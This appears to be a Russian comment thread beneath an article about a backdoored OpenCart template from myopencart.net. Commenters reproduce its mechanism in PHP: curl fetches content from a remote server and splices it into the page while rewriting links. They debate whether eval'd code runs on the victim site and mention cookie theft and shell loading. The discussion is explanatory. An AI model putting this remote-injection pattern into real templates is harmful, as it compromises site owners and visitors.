Pull to refresh

Comments 14

Судя по ТИЦ домена myopencart.net, жертв у них много.
А разве php-код выполнится в данном случае, если его вернёт сервер?
А почему нет? Функцию eval никто не отменял. Только что проверил, достаточно вернуть что-то типа:
eval( 'echo "Все что угодно."; die();' );
Не вижу в представленном коде вызова eval. Если сервер вернёт:
eval( 'echo "Все что угодно."; die();' );

То в скрипте выполнится:
$ouput = 'eval( \'echo "Все что угодно."; die();\' );';
echo $output;


Поэтому не вижу причин, почему конструкция echo 'eval(«CODE»)' должна выполнить CODE.
Ок, проверьте сами, вот 2 файла:

Вызывающий скрипт, скажем, test.php
<?php
function get_page($url) {
        $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
        $ch = curl_init();
        curl_setopt ($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, $agent);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch,CURLOPT_VERBOSE,false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        $page = curl_exec($ch);
        $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        switch ($httpcode) {
                case '200':
                        return $page;
                break;
                case '404';
                        return false;
                break;
        }
}

$ouput = "<html><body><a href='http://opencart.com'>opencart.com</a></body></html>";

if ( $ftend = get_page("http://example.com/api.php") ) {
	$find = array("</body>", "</html>", "opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by");
	$replace = array("", $ftend, "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net");
	$ouput = str_replace($find, $replace, $ouput);
	echo $ouput;
}


api.php
<?php
echo eval( 'var_dump($_SERVER); die();' );
die();



Что будет выведено на экран?
Вывод:
<html><body><a href='http://myopencart.net'>myopencart.net</a><?php
echo eval( 'var_dump($_SERVER); die();' );
die();


Чуда не произошло. Попробуйте открыть у себя api.php, а не test.php ;)
мда, т.е. у вас при открытии api.php выводится:
<?php
echo eval( 'var_dump($_SERVER); die();' );
die();

так?
И этот код не выполняется?
У вас точно поддержка PHP есть?
Может я что-то не понимаю, но скрипт api.php находится на удалённом сервере (сервере атакующего), и не имеет значения то, выполняется там php или нет, ведь выполнение скрипта требуется на атакуемом сервере (который установил шаблон).

В данном случае, атакующий, добавив в свой скрипт подобный код, увидит на том сайте, который он атакует, вывод содержимого массива $_SERVER со своего сервера. А ещё он может шёлл таким образом подгрузить, но опять же, на свой же сервер, а не на чужой.

Т.е. атакующий может только менять содержимое страницы, а не выполнять произвольных php код на сервере.
Да, возможно, вы правы.
Хотя я не уверен, что нельзя внедрить инъекцию.
PHP-код не выполнится. Хотя, если функция str_replace переопределена (что можно сделать при использовании неймспейсов), то результат может быть каким угодно.

Но даже без выполнения php-кода, можно встроить в страницу тот же javascript, с помощью которого увести у пользователя cookies или производить манипуляции в админ-панели.

Меня гораздо больше удивляет, что эти горе-хакеры до сих пор пользуются base64 для сокрытия своих скриптов. Действительно, что может быть неприметнее пары килобайт base64 в исполняемом файле? :)
Автор просто не запаривался по поводу сокрытия кода, ведь большая часть пользователей его шаблона не имеют достаточных знаний для обнаружения данного кода. Первое, что сделал бы пользователь, который заметил бы «левые» ссылке на странице — выполнил бы поиск по файла шаблона на предмет содержания этих ссылок и удалил бы их. В данном случае ссылки закодированы в base64 и, соответственно, простым поиском не найдутся. В большинстве случаев пользователь забьёт, а автор не только получит прилив ТИЦ и PR, но и возможность установить любые ссылки (например на продажу), а так же любой скрипт (сливать трафик на сплоиты). Ну и конечно, как вы уже сказали, заодно можно и реквизиты юзера слить с последующим получением доступа к серверу :)
Возможно публикаторы сайта просто не проверили код шаблона, который им прислали?
Я постоянно скачивал модули с этого сайта, и теперь судорожно проверяю все магазины.
Это самый популярный способ взлома сайтиков на джумле — бэдор в (обычно варезном) темплейте/компоненте.
Sign up to leave a comment.

Articles